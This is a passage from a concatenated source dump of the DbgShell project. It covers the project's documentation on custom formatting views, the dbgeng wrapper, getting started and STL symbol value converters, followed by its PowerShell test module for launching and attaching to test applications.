Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]``. Besides simply looking hideous, there are PublicKeyTokens and version numbers in there that are onerous to depend on. * If you want to apply some formatting in a generic way (for instance, if I want to apply certain formatting for all `KeyValuePair`, no matter what `TKey` and `TValue` are), there is no way to do it. One way to hack the formatting system is by sticking something else in the TypeNames list, and keying off that in your view definition. But with some very important cases, such as enumeration of dictionary key/value pairs, there is no way to inject yourself into the chain of events such that you can get at the TypeNames list. DbgShell's solution is to simply let you easily define views for generic types just as easily as for other types (using type names more like you would see in source code, like `System.Collections.Generic.KeyValuePair`). Additionally, you can register views for partially specified generic types by using special wildcards, like `System.Collections.Generic.KeyValuePair`, which would apply to all KVP's no matter the type of key or value. ### The Default F+O Has Other Serious Limitations Creating format view definitions for the built-in PowerShell formatting engine is painful and somewhat esoteric. We can make it easier. (Aside: It's strange that someone chose XML as the definition language for custom formatting views when they had a perfectly cromulant scripting language right in their lap.) The built-in formatting engine is relatively "set"—with the exception of Format-Custom, there isn't much opportunity to do serious customization of the formatting and display experience. (Even "custom" formatting views are not as flexible as you might think.) By implementing our own engine, we can add useful features such as footers for tables, an auto-generated index column, etc. Another deficiency of the default F+O is that if you have multiple objects written to the output stream, it will pick a formatting view definition based on the first object it sees, and then try to use that view for all subsequent objects. If the objects written to the output stream are not all the same type... terribleness. ## DbgShell's Custom F+O **Q:** Does DbgShell's custom formatting engine replace the built-in one?
**A:** No, it exists "side-by-side". **Q:** How do you invoke the alternate formatting engine?
**A:** You can invoke the alternate formatting cmdlets directly (`Format-AltTable`, `Format-AltList`, `Format-AltCustom`, `Format-AltSingleLine`), but you can also just use the regular formatting cmdlets (`Format-Table`, etc.) because we have defined "proxy" functions for them. The proxy functions will check to see if you have an alternate format view definition for the type of object you are trying to format, and if so, it forwards the call on to the alternate formatting cmdlet; if not, it sends it on to the built-in formatting cmdlet. **Q:** How do those proxy functions know if a particular object has a view definition for the alternate F+O engine?
**A:** When you register a view definition with the alternate formatting engine, you give the name of the type it should be applicable for. Then when it has an object it needs to format, the proxy function uses the "TypeNames" of the object. N.B.: this does not mean it calls `.GetType()` on the object and uses the name of the type; it uses the `PSObject.TypeNames` list. This list will include base types, so you can define a single view definition for a base type, and it will be applied to derived objects too. **Q:** How do I create format view definitions for the alternate formatting engine?
**A:** Instead of a .ps1xml file, you write a .psfmt file, which contains PowerShell script. In the script, you call various cmdlets to define your format views, such as New-AltScriptColumn, New-AltTableViewDefinition, etc., culminating in a call to Register-AltTypeFormatEntries. Take a look at the included Debugger.DebuggeeTypes.psfmt file for an example. **Q:** What types of views does the custom F+O support?
**A:** It supports some similar to the default F+O: List, Table, and Custom, plus another that does not have an analog in the default F+O: Single-Line. ### Debuggee/symbol values Recall (from one of the **Q/A**s above) that the alternate formatting engine uses an object's "TypeNames" to look up an alternate formatting view definition. (You can see an object's TypeNames list easily by typing something like "`$foo.PSObject.TypeNames`".) The TypeNames list will also include base types. For instance, for a `System.String`: ```powershell PS C:\Users\danthom> [string] $s = 'hello' PS C:\Users\danthom> $s.PSObject.TypeNames System.String System.Object ``` When DbgShell creates objects that represent symbol values, it puts some additional pseudo type names into the TypeNames list. The pseudo type names represent the type of the symbol value. These pseudo type names are distinguished by having a '!' in them (a la the debugger syntax for a module!name). For instance: ``` PS Dbg:\WhatHappenedToThatCsRec.cab\Threads\22> $myGlobal = dt dfsrs!g_FrsStatusList PS Dbg:\WhatHappenedToThatCsRec.cab\Threads\22> $myGlobal.PSObject.TypeNames dfsrs!FrsStatusList* !FrsStatusList* MS.Dbg.DbgPointerValue MS.Dbg.DbgPointerValueBase MS.Dbg.DbgValue System.Object PS Dbg:\WhatHappenedToThatCsRec.cab\Threads\22> ``` The pseudo type names are not real .NET type names, but the alternate formatting engine does not care about that—they are just strings to be used in a lookup. This allows you to create view definitions (for the alternate formatting engine) to customize how certain symbol value objects are displayed. ### Single-line views Recall (from one of the **Q/A**s above) that the alternate formatting engine supports a "single-line" view type that has no equivalent in the default formatting engine. A single-line view definition is just what it sounds like—given an object, it should produce a single string (for display on a single line). When it comes to view definition selection, single-line view definitions are somewhat special. When an object pops out the end of your pipeline, DbgShell's alternate formatting engine will check to see if there are any alternate formatting engine view definitions registered for it. If it finds a table view first, it will use that; if it finds a list view first, it will use that; if it finds a custom view first, it will use that. But if it finds a "single-line" view, it will _not_ use it (and it will continue to look for the next view definition). Single-line view definitions are _only_ used if you explicitly call `Format-AltSingleLine`. (If no alternate formatting engine view definitions are found, the object goes on to the PowerShell built-in formatting engine.) So when are single-line views useful? You might not ever call `Format-AltSingleLine` yourself, but some of DbgShell's other view definitions will. In particular, DbgShell defines a custom view definition for UDT values (User-Defined Type; an "object" in C++ or C#), and that custom view uses `Format-AltSingleLine` to give a summary of each of the fields in the object. With appropriate single-line view definitions registered, this gives you a very powerful view of an object "at a glance", without needing to "drill" into fields to check what the values are. ### Example Here is an example that registers a single-line view for `CRITICAL_SECTION` objects. ```powershell Register-AltTypeFormatEntries { New-AltTypeFormatEntry -TypeName '!_RTL_CRITICAL_SECTION' { New-AltSingleLineViewDefinition { # The DbgUdtValue formatting code pre-screens for unavailable # values; we can assume the value is available here. if( $_.LockCount -lt 0 ) { $cs = Format-DbgTypeName '_RTL_CRITICAL_SECTION: ' $cs = $cs.AppendPushPopFg( [ConsoleColor]::Green, 'Not locked.' ) return $cs } else { $cs = Format-DbgTypeName '_RTL_CRITICAL_SECTION: ' $cs = $cs.AppendPushPopFg( [ConsoleColor]::Yellow, "LOCKED, by thread: $($_.OwningThread)" ) return $cs } } # end AltSingleLineViewDefinition } # end Type !_RTL_CRITICAL_SECTION } ``` The command on the first line says that we are going to register some view definitions for the alternate formatting engine. The parameter to that command is a script block that produces "format entries". A format entry is basically just a tuple mapping a type name to a set of view definitions. The next line says we are going to create a format entry for objects that have "`!_RTL_CRITICAL_SECTION`" in their TypeNames list. The last parameter is another script block, which produces view definitions. (There is only one view definition here, but you can have more than one—for instance, you could also define a list view and a table view.) Finally we come to the `New-AltSingleLineViewDefinition` command. The object that is being formatted is passed in as the "dollar underbar" (`$_`) variable. The first thing we do is check to see if the critical section is locked or not, so we can give different output for each case. The `Format-DbgTypeName` command returns a `ColorString` object formatted consistently with how DbgShell displays type names (dark yellow on black). To that we append more text; either a green "Not locked", or a yellow "LOCKED" message, along with the owning thread. This view definition produces output like below: ![Single-line format display for a critsec](screenshot_critsec_formatting.png) For more examples, just take a look at some actual view definitions that come with DbgShell: run `dir Bin:\Debugger\*.psfmt` from within DbgShell to see a list of formatting files. ================================================ FILE: DbgShell/x64/doc/DbgEngWrapper.md ================================================ # DbgEngWrapper The dbgeng.dll API (`IDebugClient`, `IDebugEtc.`) implements a subset of COM: each `IDebug*` interface implements `IUnknown`, and given one interface, you can QueryInterface it to get a different interface. But there is no IDL, no type library, no proxies/stubs, no apartment or security concerns, etc. So one way to call the `IDebug*` interfaces from managed code is via COM Interop. This works okay for a lot of simple cases, but because the interfaces are not "full" COM, there are some problems: 1. **Threading concerns:** if you happen to try to call an interface from a different apartment, the CLR's COM Interop mechanism will search around for a proxy/stub to transfer the call between apartments, but there are no such registered proxies/stubs, so that blows up. One way around that is to make sure you only use threads in the MTA, and/or never smuggle interface pointers across thread boundaries. 1. The dbgeng COM implementation does not always meet the CLR's COM Interop expectations. For instance, if you get an `IDebugClient` interface that is connected to a remote debugger (via `DebugConnect`), when creating the RCW for the interface, the CLR will QueryInterface for something which the interface does not implement, and then it fails to create the RCW. 1. Probably more. You can work around (1) if you can control all the threads' COM state, but there is no workaround for (2). Thus the need for the DbgEngWrapper library: a C++/CLI wrapper, which bridges the managed-to-native gap via "IJW" (It Just Works) interop. The DbgEngWrapper is not *even close to* complete, and is not a direct translation of the native dbgeng API. For instance, for methods that return a string: rather than taking a buffer, a buffer size, and a pointer to a variable to hold how much of the buffer was filled (or how much is required); the DbgEngWrapper usually exposes a more managed-friendly signature that simply returns the string, and handles the buffer stuff (including re-allocating a larger buffer when necessary) under the hood. ================================================ FILE: DbgShell/x64/doc/DerivedTypeDetection.md ================================================ # Derived Type Detection DbgShell lets you see symbol values as they are, not just as they are declared. For instance, if you have a member field that is declared in source code as being an `IFoo*`, but at runtime the member points at a `CFooImpl`, when you dump the object in DbgShell, you'll see a CFooImpl. It works by using vtable and base class information found in the PDB. It does not require anything from you. However, if you run into some sort of problem (or just want to see how good you have it), you can bypass it by using the `DbgSymbol.GetValue( bool skipTypeConversion, bool skipDerivedTypeDetection )` method. ## Examples TBD ================================================ FILE: DbgShell/x64/doc/GettingStarted.md ================================================ # Getting Started with DbgShell _DbgShell is a PowerShell front-end for the Windows debuggers. For more background see the root [ReadMe](../ReadMe.md)._ _For help within DbgShell, you can run_ `Get-Help about_DbgShell`. DbgShell is a PowerShell shell. You can think of it as a tricked-out PowerShell.exe. So most things that you can do with PowerShell.exe, you can do with DbgShell.exe (some things are not tested/supported, such as remoting capabilities). In addition to normal PowerShell stuff that you could do in any PowerShell.exe window, you also have available a bunch of commands from a module called "Debugger". A quick way to see the commands available to you from a particular module is to use `Get-Command`: ```powershell Get-Command -Module Debugger ``` However, this might be a little daunting (it will return > 100 things). And just knowing what commands are available does not explain everything about DbgShell. So we'll cover a few basic things here to get you started. DbgShell can be run in both "standalone mode" (by running DbgShell.exe), or from a debugger (such as windbg) (by `.load`ing DbgShellExt.dll and running `!dbgshell`). We'll start with standalone stuff—go ahead and launch `DbgShell.exe`. # Standalone Mode First, the prompt: when you start DbgShell.exe, you will see some banner text, and then you will be at a prompt that looks like this: ``` PS Dbg:\ > ``` Don't be alarmed. In other shells, you are accustomed to having prompt text that indicates the current directory. PowerShell is the same, but in addition to the filesystem, there are other "namespace providers" that allow you to `cd` into the registry, into Active Directory, etc. And in DbgShell, there is a namespace provider for the debugger, and "Dbg:\" is the root of the namespace (In PS parlance, "Dbg:" is a PSDrive). If you run `dir`, there won't be much to see, because we aren't attached to anything yet. To do that, there are several commands: ```powershell Connect-Process # attaches to an existing process. Start-DbgProcess # starts a process under the debugger. Mount-DbgDumpFile # loads a dump file. ``` # Attaching So let's get attached to something. It will be more interesting to attach to something for which we have full private symbols. DbgShell comes with a couple of console EXEs for testing purposes, so we can use one of those. They can be easily accessed via the `Bin:\` PS drive. Run: ```powershell Start-DbgProcess Bin:\DbgShellTest\TestNativeConsoleApp.exe ``` You'll see a whole bunch of output, which looks very much like what you would have seen in windbg/ntsd. However, that stuff is not just plain text—it's all objects. For instance, if you ran "`$stuff = Start-DbgProcess Bin:\DbgShellTest\TestNativeConsoleApp.exe`" instead, you wouldn't see any output (all the objects would be collected into the `$stuff` variable). And then you could do something like "`$stuff[0] | Format-List * -Force`" and see more details, which might look like: ``` ImageFileHandle : 2900 ModuleInfo : ntdll 00007ffe`686f0000 00007ffe`6889c000 FilterEvent : LOAD_MODULE Debugger : MS.Dbg.DbgEngDebugger Message : ModLoad: 00007ffe`686f0000 00007ffe`6889c000 ntdll Timestamp : 1/2/2015 9:01:32 PM -08:00 ShouldBreak : False ``` ## Lesson #1 So lesson #1 is that DbgShell nearly always deals in full objects—*NO PLAIN TEXTUAL OUTPUT.* Now that we're attached to something, notice that the prompt has changed: ``` PS Dbg:\TestNativeConsoleApp (0)\Threads\0 > ``` Use `cd` (an alias for `Set-Location`), `dir` (an alias for `Get-ChildItem`), and `type` (an alias for `Get-Content`) to explore around. Go ahead, I'll wait. (Hint: you can `cd` into anything labeled as a `[container]`, as well as using "`..`" to go up a level.) (There are other commands/aliases as well, such as `pushd`/`popd`, `ls`, `gc`, etc.) Currently the information exposed in the namespace is minimal, but it gives you a flavor for what is possible. Okay, let's take a look at something together. Get back to where you started, and take a look at the "Teb" item ```powershell cd "Dbg:\TestNativeConsoleApp (0)\Threads\0" type .\Teb ``` Assuming you are able to download symbols for `ntdll` from the Microsoft symbol servers (or have them cached), you should see the contents of the TEB. It's not plain text, of course; it's an object (see Lesson #1). You could assign that object to a variable, but it turns out that for the TEB, there is a built-in variable, `$teb`. (Type just "`$teb`" and hit enter, and you should see the same thing.) Another way to get at the TEB is to get it off of a thread object. To get a thread object, you could use the "`Get-DbgUModeThreadInfo -Current`" command, or if you are accustomed to windbg commands, you could just use "`~.`". So this should also show you the TEB: ```powershell (~.).Teb ``` ## Lesson #2 So lesson #2 is that there are usually several different ways to get at something—you might be able to get it through the namespace, through a special variable (just like "pseudo-registers" in windbg), or through commands, using either PS-style descriptive cmdlet names, or traditional windbg command names (where implemented—windbg has many more commands than are implemented in DbgShell). Now let's take a look at stacks. So that we have more than just `ntdll`'s process bootstrapping on the stack, set a breakpoint on the `_InitGlobals` function and `g`o there. Note that there is tab completion, so you can type "`bp TestN`", hit `[tab]`, and it will complete. ```powershell bp TestNativeConsoleApp!_InitGlobals g ``` In windbg, there are various different commands used for displaying stacks in different ways (`k`, `kc`, `kp`, `kP`, `kn`, etc.). In DbgShell, there is just one core command—`Get-DbgStack`—which retrieves a `DbgStackInfo` object, which can be formatted in various ways. There are currently only a few aliases/wrappers defined (`kc` and `k`), with more to be added in the future. So in addition to just displaying a stack, you can do scripty things with it. The alias for the core `Get-DbgStack` command is "`kc`", so we can do things like this: ```powershell $myStack = kc $myStack.Frames[ 1 ].ReturnAddress $myStack.Frames[ 1 ].Function.Symbol.Type.Arguments[ 0 ].ArgType ``` This is awesome. It gets even more awesome with symbols and symbol values. Navigate to stack frame 1. If you use `cd`, tab completion is your friend. Or you can just use a windbg-style command: "`.frame 1`". To take a look at locals, you can use the `Get-DbgLocalSymbol` command, or its windbg-like alias, `dv`. To start digging into locals, you could assign the output of "`dv`" to a variable ("`$locals = dv`", followed by "`$locals[8].`"), or you can use the handy `dt` function, which is a wrapper around `Get-DbgSymbolValue` (or `Get-DbgTypeInfo`, depending on how you use it). Some of the locals in this frame have not been initialized, but we can also explore globals. Let's "go up" a frame, to let the `_InitGlobals()` function finish its work first, and then look at all the globals with names that start with "`g_`": ```powershell gu x TestNativeConsoleApp!g_* ``` Now you can try out tab completion by typing `dt TestN[tab]m_pd[tab][tab]` to auto-complete to `dt TestNativeConsoleApp!g_pDtdNestingThing4`. And then you can type a "`.`", and start pressing tab, as many times as you like. Whenever you find something you want to dig into further, just type a "`.`", and keep tabbing your way to glory. When you find something you want to see in more detail, just hit enter to run the `dt` command, and you'll see its juicy contents. ## Lesson #3 So lesson #3 is that tab completion is fantastic. And remember lesson #1—that stuff you see is not text. It's an object, which you can script with. Numbers can be added or subtracted or multiplied (or used with logical operators), you can do stringy stuff with strings, pointers can be indexed off of (and they support pointer arithmetic), etc. If you aren't familiar with PowerShell, the help topic displayed by `get-help about_Operators` gives lots of information about general powershell operators, plus references to other topics (like `get-help about_Logical_Operators, etc.). And it's not just symbol values that are rich objects—you can get to the type information as well. You can either start with "`dv`" (`Get-DbgLocalSymbol`) or "`x`" (`Get-DbgSymbol`) and get the `Type` property off the resulting `DbgLocalSymbol` object, or if you've got a symbol **value** (for instance, if you used "`dt`" and used tab completion and "`.`" to get several levels deep), every symbol value has a `DbgGetSymbol()` method that will give you the symbol information for the value in question, from which you can get the Type property. For example, ```powershell $val = dt TestNativeConsoleApp!g_d2 $sym = $val.DbgGetSymbol() $sym.Type $sym.Type | Format-List ``` Notice the last two commands—the first ("`$sym.Type`") gives output that would be familiar to users of windbg. But taking that same object and sending it through a different formatter (`Format-List`, or "`fl`" for short) gives us a different view, which shows more of the information that is available. ## Lesson #4 Symbol values and types are rich objects that are highly scriptable. `Format-List` is handy to see available properties. I'm currently out of time to work on this "getting started" guide, so let me just suggest a few additional topics for your personal exploration: * Global symbols and values (`x`/`Get-DbgSymbol`, `dt`/`Get-DbgSymbolValue`) * Execution (`p`, `pc`, `g`, `gu`) * Memory (`dd`, `dp`, `dps`) * Disassembly (`uf .`) * Module information (`lm`/`Get-DbgModuleInfo`) * Register values (`r`/`Get-DbgRegisterInfo`) Oh, and one last thing: ## ESCAPE HATCH DbgShell currently only implements a very small set of windbg-style commands. When you want to do something but DbgShell doesn't support it (or you don't know how), you can use the `Invoke-DbgEng` command ("`ide`" for short)—this "escape hatch" command lets you type any crazy, esoteric windbg command that you like and send it to dbgeng for execution. A big downside to the escape hatch is that *Lesson #2* does not apply—you only get text for output. ================================================ FILE: DbgShell/x64/doc/SymbolValueConversion.md ================================================ # Custom Symbol Value Conversion DbgShell lets you get symbol values as nice objects. This is extremely powerful for scripting! For most objects, the stock object given to you by DbgShell is fine, but some objects are very painful to deal with in "raw" form—notably STL containers. So DbgShell has a generic "custom symbol value conversion" facility, which lets you register some little snippet of script to take a stock symbol value object and turn it into something more useful. You can add properties or methods, or create an entirely new object. DbgShell comes with a few of these little conversion snippets, including some for dealing with STL containers: STL symbol value type | | Gets tranformed into a .NET object of this type --------------------- | ------ | ----------------------------------------------- `std::string, std::wstring` | → | `System.String` `std::vector<*>` | → | `System.Collections.ObjectModel.ReadOnlyCollection` `std::map<*>` | → | `System.Collections.ObjectModel.ReadOnlyDictionary` `std::set<*>` | → | `System.Collections.ObjectModel.ReadOnlyCollection` ## Examples To give you an idea how these work, here’s the script for dealing with STL vectors: ```powershell Register-DbgValueScriptConverter -TypeName '!std::vector' -Converter { try { # $_ is the symbol $stockValue = $_.GetStockValue() $val = $null [bool] $unallocatedEmpty = $false if( $stockValue._Myfirst.DbgIsNull() ) { $unallocatedEmpty = $true $val = New-Object 'System.Collections.Generic.List[PSObject]' -ArgumentList @( 0 ) } else { $unallocatedEmpty = $false $elemType = $stockValue._Myfirst.DbgGetSymbol().Type.PointeeType $numElements = $stockValue._Mylast - $stockValue._Myfirst # N.B. Pointer arithmetic (takes element size into account) $val = New-Object 'System.Collections.Generic.List[PSObject]' -ArgumentList @( $numElements ) for( [int] $i = 0; $i -lt $numElements; $i++ ) { $elem = Get-DbgSymbolValue -Address ($stockValue._Myfirst + $i) -Type $elemType # N.B. Pointer arithmetic $null = $val.Add( $elem ) } } $val = $val.AsReadOnly() if( $unallocatedEmpty ) { Add-Member -InputObject $val -MemberType ScriptMethod -Name 'capacity' -Value { 0 } Add-Member -InputObject $val -MemberType ScriptMethod -Name 'size' -Value { 0 } } else { $capacity = $stockValue._MyEnd - $stockValue._Myfirst # N.B. Pointer arithmetic Add-Member -InputObject $val -MemberType ScriptMethod -Name 'capacity' -Value { $capacity }.GetNewClosure() Add-Member -InputObject $val -MemberType ScriptMethod -Name 'size' -Value { $numElements }.GetNewClosure() } Write-Collection -Collection $val } finally { } } # end vector converter ``` That's relatively simple and gives you the general idea. The one for maps is a little more involved, but still not too bad: ```powershell Register-DbgValueScriptConverter -TypeName '!std::map' -Converter { try { # $_ is the symbol $stockValue = $_.GetStockValue() # This "root" node does not have a value, and is used as a sentinel (sub-tree pointers # point to the root to mean "no sub-tree"). $dummyHead = $stockValue._Myhead <#assert#> if( $dummyHead._Isnil -ne 1 ) { throw "Expected dummy root to be 'nil'" } if( 0 -eq $stockValue._Mysize ) { # Since the map is empty, we don't know what the key type will be... but that's # okay, since it's empty. # # (We don't know what the key type will be, because even if we pulled the type # from the template parameters, a) that's the type in the target, and b) we don't # know what type key values would be after going through value conversion.) $d = New-Object 'System.Collections.Generic.Dictionary[PSObject,PSObject]' -ArgumentList @( 0 ) $d = New-Object 'System.Collections.ObjectModel.ReadOnlyDictionary[PSObject,PSObject]' -ArgumentList @( $d ) Write-Collection -Collection $d return } $rootNode = $dummyHead._Parent $sampleKey = $rootNode._Myval.first # Of course, there's no facility to specify a comparer. I suppose if someone has a # certain case where they want a special comparer, they could write their own # converter, more narrowly specified for just their specific type. [string] $keyTypeName = $sampleKey.GetType().FullName if( ($sampleKey -is [MS.Dbg.DbgNullValue]) -or ($sampleKey -is [MS.Dbg.DbgPointerValue]) ) { # Because we need to be able to handle both DbgPointerValue objects and # DbgNullValue objects as keys. Having a separate DbgNullValue type makes most # things simpler, but it makes this particular scenario a little more # complicated. $keyTypeName = 'MS.Dbg.DbgPointerValueBase' } $d = New-Object "System.Collections.Generic.Dictionary[$($keyTypeName),PSObject]" -ArgumentList @( $stockValue._Mysize ) # We'll do a recursive traversal of the tree, using this function: function ProcessSubtree( $rootNode ) { <#assert#> if( $rootNode._Isnil -ne 0 ) { throw "ProcessSubtree called with invalid node." } # We don't preserve the order, but we'll go ahead and process them # in the proper order anyway: left subtreee, current node, right # subtree. if( $dummyHead -ne $rootNode._Left ) { ProcessSubtree $rootNode._Left } $d.Add( $rootNode._Myval.first, $rootNode._Myval.second ) if( $dummyHead -ne $rootNode._Right ) { ProcessSubtree $rootNode._Right } } # end ProcessSubtree ProcessSubtree $rootNode $d = New-Object "System.Collections.ObjectModel.ReadOnlyDictionary[$($keyTypeName),PSObject]" -ArgumentList @( $d ) Write-Collection -Collection $d } finally { } } # end map converter ``` ## More information More information on various techniques for writing symbol value converters is available from within DbgShell—just run "`Get-Help about_HowTo_Write_a_Symbol_Value_Converter`". You can also see a bunch of existing converter scripts by running `dir Bin:\Debugger\*.converters.*`. ================================================ FILE: DbgShell/x86/DbgShell.exe.config ================================================ ================================================ FILE: DbgShell/x86/DbgShellTest/DbgShellTest.psd1 ================================================ # # Module manifest for module 'DbgShellTest' # @{ # Script module or binary module file associated with this manifest RootModule = "filesystem::$PSScriptRoot\TestManagedCommon.dll" # Version number of this module. ModuleVersion = '1.0' # ID used to uniquely identify this module GUID = '8919DA18-FF4F-49DD-BE65-40DC8A3D0D0C' # Author of this module Author = 'Microsoft Corporation' # Company or vendor of this module CompanyName = 'Microsoft Corporation' # Copyright statement for this module Copyright = '(c) Microsoft Corporation. All rights reserved.' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '3.0' # Name of the Windows PowerShell host required by this module PowerShellHostName = '' # Minimum version of the Windows PowerShell host required by this module PowerShellHostVersion = '' # Minimum version of the .NET Framework required by this module DotNetFrameworkVersion = '4.0' # Minimum version of the common language runtime (CLR) required by this module CLRVersion = '4.0' # Processor architecture (None, X86, Amd64, IA64) required by this module ProcessorArchitecture = '' # Modules that must be imported into the global environment prior to importing this module RequiredModules = @( "filesystem::$PSScriptRoot\Pester\Pester.psd1" ) # Assemblies that must be loaded prior to importing this module RequiredAssemblies = @() # Script files (.ps1) that are run in the caller's environment prior to importing this module ScriptsToProcess = @() # Type files (.ps1xml) to be loaded when importing this module TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module FormatsToProcess = @() # Modules to import as nested modules of the module specified in ModuleToProcess NestedModules = @( "filesystem::$PSScriptRoot\DbgShellTest.psm1" ) # Functions to export from this module FunctionsToExport = @( 'New-TestApp', 'ntna', 'ntma', 'DoFullTestPass', 'Get-DbgTypeCacheStats', 'PostTestCheckAndResetCacheStats' ) # Cmdlets to export from this module CmdletsToExport = '*' # Variables to export from this module VariablesToExport = '*' # Aliases to export from this module AliasesToExport = '*' # List of all modules packaged with this module ModuleList = @() # List of all files packaged with this module FileList = @() # Private data to pass to the module specified in ModuleToProcess PrivateData = '' # HelpInfo URI of this module #HelpInfoURI = 'http://go.microsoft.com/fwlink/?LinkId=216168' } ================================================ FILE: DbgShell/x86/DbgShellTest/DbgShellTest.psm1 ================================================ Set-StrictMode -Version Latest [void] (New-PSDrive Tests FileSystem "$PSScriptRoot\Tests" -Scope Global) $script:dumpsRelativePath = '..\..\..\..\Dumps' if( [System.IO.Directory]::Exists( "$PSScriptRoot\$dumpsRelativePath" ) ) { [void] (New-PSDrive Dumps FileSystem "$PSScriptRoot\$dumpsRelativePath" -Scope Global) } $MyInvocation.MyCommand.ScriptBlock.Module.OnRemove = { Remove-PSDrive -Name 'Tests' -Force $dd = Get-PSDrive 'Dumps*' # use a wildcard because I don't want an error if it's not there. foreach( $d in $dd ) { if( $d.Name -eq 'Dumps' ) { $d | Remove-PSDrive -Force break } } } # end OnRemove handler Write-Host '' Write-Host "Tests are located under the Tests:\ drive. Type something like ""Invoke-Pester Tests:\*.ps1"" to run them. Or use DoFullTestPass to run them for all combinations of the optional test inputs (path bugginess style and provider-/drive-qualified working directory)." Write-Host '' Set-Alias Run-Test Invoke-Pester function script:Find-TestApp { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $TestApp, [Parameter( Mandatory = $false )] [ValidateSet( 'x86', 'x64', 'matching', 'cross' )] [string] $Platform = 'matching' ) begin { } end { } process { try { [string] $path = $null if( $Platform -eq 'matching' ) { $path = 'bin:\DbgShellTest\' + $TestApp + '.exe' $path = $executionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath( $path ) } else { if( $Platform -eq 'cross' ) { if( [System.Environment]::Is64BitProcess ) { $Platform = 'x86' } else { $Platform = 'x64' } } $platformRoot = [System.IO.Path]::GetDirectoryName( (Get-PSDrive 'bin').Root ) $path = [System.IO.Path]::Combine( $platformRoot, $Platform, 'DbgShellTest', $TestApp ) $path = $path + '.exe' } if( ![System.IO.File]::Exists( $path ) ) { throw "There is no '$TestApp' test app. (at least not yet...) Path tried was: $path" } return $path } finally { } } # end process } # end function Find-TestApp function script:Find-Windbg { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [string] $which ) begin { } end { } process { try { [string] $dir = Find-WindbgDir if( !$dir ) { throw "Can't find windbg dir." } [string] $path = Join-Path $dir $which if( ![System.IO.File]::Exists( $path ) ) { throw "Can't find '$path'. You may need to modify this function in DbgShellTest.psm1 (or make sure that windbg is installed in a common location)." } return $path } finally { } } # end process } # end function Find-Windbg <# .Synopsis Starts a new process for debugging, either launching under the debugger, or launching it then attaching. #> function New-TestApp { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNullOrEmpty()] [ValidateSet( 'TestManagedConsoleApp', 'TestNativeConsoleApp' )] # TODO: implement other test apps! [string] $TestApp, [Parameter( Mandatory = $false )] [ValidateSet( 'x86', 'x64', 'matching', 'cross' )] [string] $Platform = 'matching', [Parameter( Mandatory = $false, Position = 3 )] [string] $Arguments, [Parameter( Mandatory = $false, Position = 4 )] [ValidateNotNullOrEmpty()] [string] $TargetName = "testApp", [Parameter( Mandatory = $false )] [switch] $Attach, [Parameter( Mandatory = $false )] [Alias( 'gi' )] [switch] $SkipInitialBreakpoint, [Parameter( Mandatory = $false )] [Alias( 'gf' )] [switch] $SkipFinalBreakpoint, [Parameter( Mandatory = $false )] [switch] $UseWindbgInstead, # Useful from test scripts, so that they aren' popping up windows all over. [Parameter( Mandatory = $false )] [switch] $HiddenTargetWindow ) begin { } end { } process { if( $UseWindbgInstead -and $PSBoundParameters.ContainsKey( 'TargetName' ) ) { Write-Warning "The -TargetName parameter doesn't make sense with -UseWindbgInstead." } if( (Test-Path "Dbg:\$TargetName") -and !$UseWindbgInstead ) { throw "The name '$TargetName' is already in use; please use a different name." } [string] $path = Find-TestApp $TestApp -Platform $Platform $testAppReadyEvent = New-InheritableEvent $pauseEvent = New-InheritableEvent try { if( $Attach ) { if( $SkipInitialBreakpoint -and !$UseWindbgInstead ) { Write-Warning "The -Attach option coordinates with the target test app, in order to guarantee that we always get attached at a consistent, deterministic spot (because this command is for testing). By using the -SkipInitialBreakpoint along with the -Attach option, this command will not get a chance to set the `"you may now continue execution`" event until the app breaks for some reason (for instance, you can cause this by typing CTRL+C in the target test app's window)." # TODO: Perhaps instead we could not really skip the initial # breakpoint, but instead issue a Resume-DbgProcess ("g") as soon as # we hit it. } $arglist = ("SetEvent $($testAppReadyEvent.SafeWaitHandle.DangerousGetHandle().ToString()) ; WaitEvent $($pauseEvent.SafeWaitHandle.DangerousGetHandle().ToString())" + " ; " + $Arguments) # The -UseNewEnvironment is important; it causes Start-Process # to not use ShellExecute. (We don't want to use ShellExecute # because we need the child proc to inherit the handles to the # synchronization events.) $startProcArgs = @{ 'FilePath' = $path 'ArgumentList' = $arglist 'UseNewEnvironment' = $true 'PassThru' = $true } if( $HiddenTargetWindow -and !(Test-Path Variable:\__globalForceShowTestWindows) ) { $startProcArgs[ 'WindowStyle' ] = 'Hidden' } $proc = Start-Process @startProcArgs [bool] $ready = $false while( !$proc.HasExited -and !$ready ) { # It could crash before we get attached. We poll for that so we won't # get hung if that happens. $ready = $testAppReadyEvent.WaitOne( 5000 ) } if( $proc.HasExited ) { Assert (!$ready) Write-Error "Hmmm... the test process died before we could attach (pid was $($proc.Id))." } else { # Start-Sleep -Milli 500 if( $UseWindbgInstead ) { [object[]] $flags = @() if( $SkipInitialBreakpoint ) { $flags += '-g' } if( $SkipFinalBreakpoint ) { $flags += '-G' } & (Find-Windbg 'windbg.exe') @flags -p $proc.Id # Need to wait for windbg to get attached. Hopefully this is long # enough. Write-Host "Waiting for windbg to get attached..." -Fore Cyan Start-Sleep -Milli 5000 } else { $proc | Connect-Process -TargetName $TargetName ` -SkipInitialBreakpoint:$SkipInitialBreakpoint ` -SkipFinalBreakpoint:$SkipFinalBreakpoint } [void] $pauseEvent.Set() } } else # !$Attach { if( $UseWindbgInstead ) { if( $HiddenTargetWindow ) { Write-Warning 'The -HiddenTargetWindow is ignored when launching windbg.' } [object[]] $flags = @() if( $SkipInitialBreakpoint ) { $flags += '-g' } if( $SkipFinalBreakpoint ) { $flags += '-G' } $arglist = "$flags $path $Arguments" Start-Process (Find-Windbg 'windbg.exe') -ArgumentList $arglist -UseNewEnvironment } else { $startDbgProcOptions = @{ 'FilePath' = $path 'TargetName' = $TargetName 'SkipInitialBreakpoint' = $SkipInitialBreakpoint 'SkipFinalBreakpoint' = $SkipFinalBreakpoint 'ArgumentList' = $Arguments } if( $HiddenTargetWindow ) { $startDbgProcOptions[ 'ConsoleOption' ] = 'NoConsole' } Start-DbgProcess @startDbgProcOptions } } } finally { $testAppReadyEvent.Dispose() $pauseEvent.Dispose() } } } # end function New-TestApp <# 